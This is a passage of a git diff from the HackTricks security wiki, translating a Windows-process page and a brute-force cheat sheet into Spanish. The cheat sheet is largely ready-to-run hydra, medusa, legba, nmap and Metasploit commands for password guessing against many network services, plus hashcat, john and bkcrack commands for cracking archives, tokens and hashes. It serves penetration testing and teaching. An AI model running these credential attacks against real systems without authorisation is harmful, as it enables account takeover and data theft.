are running from DLLs. +Este proceso actúa como un host para procesos que se ejecutan desde DLLs. También carga los servicios que se están ejecutando desde DLLs. -In W8 this is called taskhostex.exe and in W10 taskhostw.exe. +En W8 se llama taskhostex.exe y en W10 taskhostw.exe. ## explorer.exe -This is the process responsible for the **user's desktop** and launching files via file extensions. +Este es el proceso responsable del **escritorio del usuario** y de lanzar archivos a través de extensiones de archivo. -**Only 1** process should be spawned **per logged on user.** +**Solo 1** proceso debería ser generado **por cada usuario conectado.** -This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. +Esto se ejecuta desde **userinit.exe** que debería ser terminado, por lo que **no debería aparecer un padre** para este proceso. -# Catching Malicious Processes +# Capturando Procesos Maliciosos -- Is it running from the expected path? (No Windows binaries run from temp location) -- Is it communicating with weird IPs? -- Check digital signatures (Microsoft artifacts should be signed) -- Is it spelled correctly? -- Is running under the expected SID? -- Is the parent process the expected one (if any)? -- Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?) +- ¿Se está ejecutando desde la ruta esperada? (Ningún binario de Windows se ejecuta desde una ubicación temporal) +- ¿Está comunicándose con IPs extrañas? +- Verifica las firmas digitales (los artefactos de Microsoft deberían estar firmados) +- ¿Está escrito correctamente? +- ¿Se está ejecutando bajo el SID esperado? +- ¿Es el proceso padre el esperado (si lo hay)? +- ¿Son los procesos hijos los esperados? (¿sin cmd.exe, wscript.exe, powershell.exe..?) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 9b2faa122..23a2847df 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -1,18 +1,10 @@ -# Brute Force - CheatSheet - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} +# Fuerza Bruta - Hoja de Trucos {{#include ../banners/hacktricks-training.md}} -## Default Credentials +## Credenciales Predeterminadas -**Search in google** for default credentials of the technology that is being used, or **try these links**: +**Busca en google** las credenciales predeterminadas de la tecnología que se está utilizando, o **prueba estos enlaces**: - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -27,12 +19,11 @@ Get Access Today: - [**https://many-passwords.github.io/**](https://many-passwords.github.io) - [**https://theinfocentric.com/**](https://theinfocentric.com/) -## **Create your own Dictionaries** +## **Crea tus propios Diccionarios** -Find as much information about the target as you can and generate a custom dictionary. Tools that may help: +Encuentra tanta información sobre el objetivo como puedas y genera un diccionario personalizado. Herramientas que pueden ayudar: ### Crunch - ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @@ -43,36 +34,30 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` - ### Cewl - ```bash cewl example.com -m 5 -w words.txt ``` - ### [CUPP](https://github.com/Mebus/cupp) -Generate passwords based on your knowledge of the victim (names, dates...) - +Genera contraseñas basadas en tu conocimiento de la víctima (nombres, fechas...) ``` python3 cupp.py -h ``` - ### [Wister](https://github.com/cycurity/wister) -A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target. - +Una herramienta generadora de listas de palabras, que te permite proporcionar un conjunto de palabras, dándote la posibilidad de crear múltiples variaciones a partir de las palabras dadas, creando una lista de palabras única e ideal para usar en relación con un objetivo específico. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst - __ _______ _____ _______ ______ _____ - \ \ / /_ _|/ ____|__ __| ____| __ \ - \ \ /\ / / | | | (___ | | | |__ | |__) | - \ \/ \/ / | | \___ \ | | | __| | _ / - \ /\ / _| |_ ____) | | | | |____| | \ \ - \/ \/ |_____|_____/ |_| |______|_| \_\ +__ _______ _____ _______ ______ _____ +\ \ / /_ _|/ ____|__ __| ____| __ \ +\ \ /\ / / | | | (___ | | | |__ | |__) | +\ \/ \/ / | | \___ \ | | | __| | _ / +\ /\ / _| |_ ____) | | | | |____| | \ \ +\/ \/ |_____|_____/ |_| |______|_| \_\ - Version 1.0.3 Cycurity +Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% @@ -80,10 +65,9 @@ Generated 67885 lines. Finished in 0.920s. ``` - ### [pydictor](https://github.com/LandGrey/pydictor) -### Wordlists +### Listas de palabras - [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) - [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) @@ -96,20 +80,11 @@ Finished in 0.920s. - [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) - [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -
+## Servicios -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Services - -Ordered alphabetically by service name. +Ordenados alfabéticamente por nombre del servicio. ### AFP - ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login @@ -119,114 +94,84 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` - ### AJP - ```bash nmap --script ajp-brute -p 8009 ``` - -## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) - +## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM y Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` - ### Cassandra - ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` - ### CouchDB - ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` - -### Docker Registry - +### Registro de Docker ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` - ### Elasticsearch - ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` - ### FTP - ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` - -### HTTP Generic Brute +### HTTP Genérico Brute #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTP Basic Auth - +### HTTP Autenticación Básica ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` - ### HTTP - NTLM - ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` - -### HTTP - Post Form - +### HTTP - Formulario Post ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` +Para http**s** tienes que cambiar de "http-post-form" a "**https-post-form"** -For http**s** you have to change from "http-post-form" to "**https-post-form"** - -### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle - +### **HTTP - CMS --** (W)ordpress, (J)oomla o (D)rupal o (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` - ### IMAP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` - ### IRC - ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` - ### ISCSI - ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` - ### JWT - ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -249,33 +194,25 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` - ### LDAP - ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` - ### MQTT - ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` - ### Mongo - ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` - ### MSSQL [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) - ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt @@ -296,9 +233,7 @@ mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` - ### MySQL - ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -312,9 +247,7 @@ medusa -h -u -P <-f | to stop medusa on fir #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` - ### OracleSQL - ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -338,21 +271,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` - -In order to use **oracle_login** with **patator** you need to **install**: - +Para usar **oracle_login** con **patator** necesitas **instalar**: ```bash pip3 install cx_Oracle --upgrade ``` - -[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): - +[Brute force de hash de OracleSQL offline](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versiones 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** y **11.2.0.3**): ```bash - nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 +nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` - ### POP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -363,9 +290,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` - ### PostgreSQL - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -375,109 +300,79 @@ use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` - ### PPTP -You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) - +Puedes descargar el paquete `.deb` para instalar desde [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` - ### RDP - ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` - ### Redis - ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` - ### Rexec - ```bash hydra -l -P rexec:// -v -V ``` - ### Rlogin - ```bash hydra -l -P rlogin:// -v -V ``` - ### Rsh - ```bash hydra -L rsh:// -v -V ``` - -[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) - ### Rsync - ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` - ### RTSP - ```bash hydra -l root -P passwords.txt rtsp ``` - ### SFTP - ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` - ### SNMP - ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` - ### SMB - ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` - ### SMTP - ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` - ### SOCKS - ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` - ### SQL Server - ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -486,9 +381,7 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` - ### SSH - ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -498,38 +391,32 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` +#### Claves SSH débiles / PRNG predecible de Debian -#### Weak SSH keys / Debian predictable PRNG +Algunos sistemas tienen fallas conocidas en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser atacado por fuerza bruta con herramientas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). También están disponibles conjuntos pre-generados de claves débiles como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). -Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). - -### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ) - -The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations. +### STOMP (ActiveMQ, RabbitMQ, HornetQ y OpenMQ) +El protocolo de texto STOMP es un protocolo de mensajería ampliamente utilizado que **permite una comunicación e interacción sin problemas con servicios populares de colas de mensajes** como RabbitMQ, ActiveMQ, HornetQ y OpenMQ. Proporciona un enfoque estandarizado y eficiente para intercambiar mensajes y realizar diversas operaciones de mensajería. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` - ### Telnet - ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ - --username admin \ - --password wordlists/passwords.txt \ - --target localhost:23 \ - --telnet-user-prompt "login: " \ - --telnet-pass-prompt "Password: " \ - --telnet-prompt ":~$ " \ - --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin +--username admin \ +--password wordlists/passwords.txt \ +--target localhost:23 \ +--telnet-user-prompt "login: " \ +--telnet-pass-prompt "Password: " \ +--telnet-prompt ":~$ " \ +--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` - ### VNC - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -544,41 +431,29 @@ use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` - ### Winrm - ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - ## Local -### Online cracking databases +### Bases de datos de cracking en línea - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) +- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/sin ESS/SSP y con cualquier valor de desafío) +- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas de WPA2 y archivos de MSOffice, ZIP, PDF...) - [https://crackstation.net/](https://crackstation.net) (Hashes) - [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -- [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes) +- [https://gpuhash.me/](https://gpuhash.me) (Hashes y hashes de archivos) - [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) - [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) - [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Check this out before trying to brute force a Hash. +Revisa esto antes de intentar hacer un ataque de fuerza bruta a un Hash. ### ZIP - ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip @@ -594,12 +469,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` +#### Ataque de zip con texto plano conocido -#### Known plaintext zip attack - -You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\ -Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page. - +Necesitas conocer el **texto plano** (o parte del texto plano) **de un archivo contenido dentro** del zip encriptado. Puedes verificar **nombres de archivos y el tamaño de los archivos contenidos dentro** de un zip encriptado ejecutando: **`7z l encrypted.zip`**\ +Descarga [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) de la página de lanzamientos. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -611,9 +484,7 @@ zip plaintext.zip plaintext.file ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` - ### 7z - ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -624,9 +495,7 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` - ### PDF - ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -635,13 +504,11 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` +### Contraseña del Propietario de PDF -### PDF Owner Password - -To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +Para romper una contraseña de propietario de PDF, consulta esto: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT - ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack @@ -653,17 +520,13 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` - -### NTLM cracking - +### Cracking de NTLM ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` - ### Keepass - ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -671,30 +534,24 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` - ### Keberoasting - ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` +### Imagen de Luks -### Lucks image - -#### Method 1 - -Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) +#### Método 1 +Instalar: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -#### Method 2 - +#### Método 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -703,39 +560,33 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +Otro tutorial de Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql - ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` - -### PGP/GPG Private key - +### Clave privada PGP/GPG ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` - ### Cisco
-### DPAPI Master Key +### Clave Maestra DPAPI -Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john +Usa [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) y luego john -### Open Office Pwd Protected Column +### Columna Protegida por Contraseña de Open Office -If you have an xlsx file with a column protected by a password you can unprotect it: - -- **Upload it to google drive** and the password will be automatically removed -- To **remove** it **manually**: +Si tienes un archivo xlsx con una columna protegida por una contraseña, puedes desprotegerla: +- **Cárgalo en google drive** y la contraseña se eliminará automáticamente +- Para **eliminarla** **manualmente**: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -744,76 +595,56 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV # Remove that line and rezip the file zip -r file.xls . ``` - -### PFX Certificates - +### Certificados PFX ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` +## Herramientas -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Tools - -**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) +**Ejemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### Hash-identifier - ```bash hash-identifier > ``` - -### Wordlists +### Listas de palabras - **Rockyou** - [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) - [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) - [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) -### **Wordlist Generation Tools** - -- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes. +### **Herramientas de generación de listas de palabras** +- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Generador avanzado de recorrido de teclado con caracteres base configurables, mapa de teclas y rutas. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` +### Mutación de John -### John mutation - -Read _**/etc/john/john.conf**_ and configure it - +Lee _**/etc/john/john.conf**_ y configúralo ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` - ### Hashcat -#### Hashcat attacks +#### Ataques de Hashcat -- **Wordlist attack** (`-a 0`) with rules - -**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +- **Ataque de lista de palabras** (`-a 0`) con reglas +**Hashcat** ya viene con una **carpeta que contiene 